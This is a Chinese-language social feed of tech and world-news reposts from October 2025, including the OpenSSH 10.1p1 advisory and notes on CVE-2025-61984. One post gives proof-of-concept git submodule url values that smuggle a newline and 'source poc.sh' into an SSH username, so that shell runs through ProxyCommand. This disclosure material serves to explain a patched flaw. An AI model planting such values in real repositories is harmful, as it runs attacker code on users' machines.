咕 Billchen 咕 🐱 抹茶芭菲批发中心

17 October 2025 11:32

forgejo/115388401233850781" rel="nofollow">https://floss.social/@forgejo/115388401233850781

咕 Billchen 咕 🐱 抹茶芭菲批发中心

17 October 2025 05:29

SHECA 需要作废约 7000 个不合规 TLS 证书，包括部分由新网签发的证书。

- SHECA 的 API 允许用户向 CA 提交自己的私钥和订单号以下载证书。这导致用户私钥被泄露给 CA，或构成对 CA/B BR 6.1.1.3 条款的违反。
- 涉及证书包括由部分新网 (Xinnet) 中间 CA 签发的证书。受影响用户应已收到通知。

https://bugzilla.mozilla.org/show_bug.cgi?id=1993357

#PKI #SHECA

咕 Billchen 咕 🐱 抹茶芭菲批发中心

16 October 2025 17:15

Forgejo 13.0 released

Forgejo 13.0 版本已发布，这是一个软件协作平台的重要更新。新版本引入了多项关键功能：内容审核机制允许用户举报不当内容；可配置的全局双因素认证（2FA）选项，能强制要求用户或管理员启用；新增对 Pagure 仓库的迁移支持，这将有助于 Fedora 项目顺利过渡到 Forgejo 作为其 Git 平台。完整更新内容可查阅官方发布说明。

原文链接：https://lwn.net/Articles/1042229/

#开源 #软件开发 #版本更新
#AIGC

Read more

咕 Billchen 咕 🐱 抹茶芭菲批发中心

15 October 2025 09:54

https://fixupx.com/vmfunc/status/1978368062966394910

咕 Billchen 咕 🐱 抹茶芭菲批发中心

14 October 2025 16:39

https://fixupx.com/vmfunc/status/1978079375183536440

咕 Billchen 咕 🐱 抹茶芭菲批发中心

14 October 2025 06:50

Solana 官方 X 账号转发关于“ Solana 中文名征集”的推文

深潮 TechFlow 消息，10 月 14 日，Solana 官方 X 账号转发了 Trends.fun 创始人 Mable 提议的 Solana 中文名征集活动：前几天有人提醒我，Solana 还没有中文名。Ethereum 的中文名以太坊让 eth 更好的在东方得以传播。或许现在正是应该听听社区的声音？取一个好的中文名。

https://www.techflowpost.com/newsletter/detail_101722.html

咕 Billchen 咕 🐱 抹茶芭菲批发中心

13 October 2025 17:51

以色列10月13日释放了超过1900名巴勒斯坦囚犯。这些人将被送往约旦河西岸、加沙或者埃及等其他国家。哈马斯随后将交还28具人质遗体中的4具。
特朗普在以色列议会发表演讲，称“以色列通过武力赢得了一切”。期间2名议会成员举起抗议标语，短暂打断了特朗普的演讲。其中一个标语是“承认巴勒斯坦国”。特朗普随后前往埃及沙姆沙伊赫，出席加沙停火的峰会。
（美联社）

咕 Billchen 咕 🐱 抹茶芭菲批发中心

13 October 2025 11:24

当地时间10月13日，以色列12频道援引以总理内塔尼亚胡等表态报道称，加沙战争已结束。

来源：澎湃新闻

咕 Billchen 咕 🐱 抹茶芭菲批发中心

12 October 2025 17:10

万斯：特朗普愿意与中国进行理性谈判
据财经新闻与分析网站 ZeroHedge 发布市场消息，万斯：特朗普愿意与中国进行理性谈判。

咕 Billchen 咕 🐱 抹茶芭菲批发中心

10 October 2025 11:22

委內瑞拉反對派領袖馬查多獲得諾貝爾和平獎。

咕 Billchen 咕 🐱 抹茶芭菲批发中心

10 October 2025 05:39

openssh 10.1p1:

ssh(1): disallow control characters in usernames passed via the commandline or expanded using %-sequences from the configuration file, and disallow \0 characters in ssh:// URIs.

If an ssh(1) commandline was constructed using usernames or URIs obtained from an untrusted source, and if a ProxyCommand that uses the %u expansion was configured, then it may be possible for an attacker to inject shell expressions that may be executed when the proxy command is started.

We strongly recommend against using untrusted inputs to construct ssh(1) commandlines.

This change also relaxes the validity checks in one small way: usernames supplied via the configuration file as literals (i.e. that have no % expansion characters) are not subject to these validity checks. This allows usernames that contain arbitrary characters to be used, but only via configuration files. This is done on the basis that ssh's configuration is trusted.

This issue was reported by David Leadbeater.

咕 Billchen 咕 🐱 抹茶芭菲批发中心

10 October 2025 05:22

Exploiting SSH via ProxyCommand, again (CVE-2025-61984)

https://dgl.cx/2025/10/bash-a-newline-ssh-proxycommand-cve-2025-61984

咕 Billchen 咕 🐱 抹茶芭菲批发中心

08 October 2025 16:03

香港政府通告：接外交部驻港公署指示，“中国内地”今后需译作“Chinese Mainland”，而非“Mainland China”。政府部门和立法会需遵守此规定。过去已发表的文字无需修改。
行政会议成员汤家骅发文解释，Mainland China意味着中国有“大陆中国”与“其他中国”之分，外交部提示大家用字不能马虎是用心良苦。
（中央社）

咕 Billchen 咕 🐱 抹茶芭菲批发中心

04 October 2025 08:29

高市早苗在日本自民党总裁选举中胜出，将是自民党历史上首位女性总裁，也将有望成为日本新首相。
（NHK）

咕 Billchen 咕 🐱 抹茶芭菲批发中心

02 October 2025 05:14

Alpine Linux plans /usr merge

Alpine Linux 计划在 3.23 版本中合并文件系统路径，将 /lib、/bin 和 /sbin 改为指向 /usr 对应目录的符号链接。所有软件包将统一安装到 /usr 路径下，目前 /usr/bin 和 /usr/sbin 仍保持独立，但若文件系统层次结构标准（FHS）更新，可能会进一步调整。该变更预计于 11 月发布，自 2027 年 5 月 Alpine 3.22 生命周期结束后，未合并路径的系统将不再受支持。

原文链接：https://lwn.net/Articles/1040410/
#Linux #文件系统 #AlpineLinux
#AIGC

Read more

咕 Billchen 咕 🐱 抹茶芭菲批发中心

17 October 2025 06:34

转

via Siqi Yuan

咕 Billchen 咕 🐱 抹茶芭菲批发中心

17 October 2025 04:56

12306 会员积分将能升席座位，14 至 28 周岁常旅客买火车票可获双倍积分 - IT之家
https://www.ithome.com/0/890/163.htm

咕 Billchen 咕 🐱 抹茶芭菲批发中心

16 October 2025 16:20

Forgejo News
Forgejo v13.0 is available

咕 Billchen 咕 🐱 抹茶芭菲批发中心

15 October 2025 03:38

The FSF's Librephone project

自由软件基金会（FSF）宣布启动Librephone项目，旨在为移动设备开发完全自由的操作系统。该项目致力于填补现有安卓系统与软件自由理念之间的最后差距，由资深开发者Rob Savoye领导技术工作。目前团队正评估其他自由手机项目中设备固件与二进制闭源组件的现状，并优先参考LineageOS等非完全自由系统的开源成果。

原文链接：https://lwn.net/Articles/1041952/
#自由软件 #移动设备 #开源项目 #操作系统

#AIGC

Read more

咕 Billchen 咕 🐱 抹茶芭菲批发中心

14 October 2025 09:50

华盛顿正在考虑要求向中国出口软件的公司必须申请出口许可证

美国财政部长斯科特·贝森特（Scott Bessent）指责中国在实施大范围稀土和关键矿产出口管制后，试图“损害全球经济”，这一举措扰乱了全球供应链。

一名知情人士表示，如果双方无法达成协议，美国已准备好反制措施，并将在本周于华盛顿举行的七国集团（G7）会议上将此议题列为优先事项，该会议与世界银行和国际货币基金组织年会同时进行。

另外两名消息人士称，华盛顿正在考虑要求向中国出口软件的企业必须获得出口许可证，这一举措可能会对中国多个产业造成严重影响。

美国和中国官员已于周一在华盛顿会面，此前贝森特表示，双方在周末期间进行了“大量沟通”。据悉，贝森特预计将在10月29日特朗普与习近平于韩国举行会谈前，再次与何立峰进行会晤。

一名消息人士指出，中国原本希望贝森特与何的会面安排在亚太经合组织（APEC）会议之后，但现在“语气已变”，更倾向于在会前举行。

来源：金融时报

咕 Billchen 咕 🐱 抹茶芭菲批发中心

14 October 2025 05:11

opensuse/115366099667228401" rel="nofollow">https://fosstodon.org/@opensuse/115366099667228401

咕 Billchen 咕 🐱 抹茶芭菲批发中心

13 October 2025 12:41

https://fixupx.com/ReversedFrontTW/status/1977587666905673790

咕 Billchen 咕 🐱 抹茶芭菲批发中心

13 October 2025 07:35

Timing side-channel in SM2 algorithm on 64 bit ARM (CVE-2025-9231)

咕 Billchen 咕 🐱 抹茶芭菲批发中心

11 October 2025 14:13

Backpack：已向市场闪崩期间受影响用户补偿损失
10 月 11 日消息，Backpack 官方宣布，已向今日市场闪崩期间受影响的平台用户补偿损失，Backpack 重申用户的信任比一切更重要。此外，向此次清算中遭受重大损失的用户赠予 200 份 KFC 套餐，可通过填写官方表单领取。

咕 Billchen 咕 🐱 抹茶芭菲批发中心

10 October 2025 08:47

安卓手机玩家注意：解锁 Bootloader 新代价是失去本地 AI 功能

https://www.ithome.com/0/888/221.htm

https://www.androidauthority.com/gemini-nano-bootloader-3605497/ （英文）

IT之家 10 月 9 日消息，科技媒体 Android Authority 今天（10 月 9 日）发布博文，报道称谷歌在其官方开发者文档中正式确认，若用户解锁设备的引导加载程序（Bootloader），将无法运行端侧 AI 模型 Gemini Nano。

咕 Billchen 咕 🐱 抹茶芭菲批发中心

10 October 2025 05:23

TLDR 尽管 openssh 过滤了 '`\";&<>|(){}，但是依然可以利用 Bash 的 exec 在语法错误 (Fish 在 array index OOB) 时的错误处理特性

Bash:

[submodule "foo"]
  path = foo
  url = "$[+]\nsource poc.sh\n@foo.example.com:foo"

[submodule "foo"]
  path = foo
  url = "$x[0]\nsource poc.sh\n@foo.example.com:foo"

咕 Billchen 咕 🐱 抹茶芭菲批发中心

09 October 2025 17:38

普京10月9日首次承认，俄罗斯防空系统为2024年12月阿塞拜疆客机坠机事件负责。针对乌克兰无人机的防空系统向客机发射2枚导弹，导弹在客机附近10米处爆炸。
（美联社）

咕 Billchen 咕 🐱 抹茶芭菲批发中心

08 October 2025 11:04

test-ipv6.com 宣布将由 RIR 继续运营。

咕 Billchen 咕 🐱 抹茶芭菲批发中心

02 October 2025 08:41

zzt/115272477801664683" rel="nofollow">https://mas.to/@zzt/115272477801664683

咕 Billchen 咕 🐱 抹茶芭菲批发中心

02 October 2025 05:14

[$] Fedora floats AI-assisted contributions policy

Fedora 理事会于2024年启动制定AI辅助贡献政策的流程，首先通过问卷调查社区对AI技术及在Fedora中应用的意见。9月25日，Jason Brooks发布了政策草案供讨论。目前草案秉持折中精神，却引发不同立场者的不满：部分人认为其对AI过于友好，另一些人则批评其限制了Fedora对AI工具的探索。

原文链接：https://lwn.net/Articles/1039623/
#开源政策 #AI伦理 #社区治理
#AIGC

Read more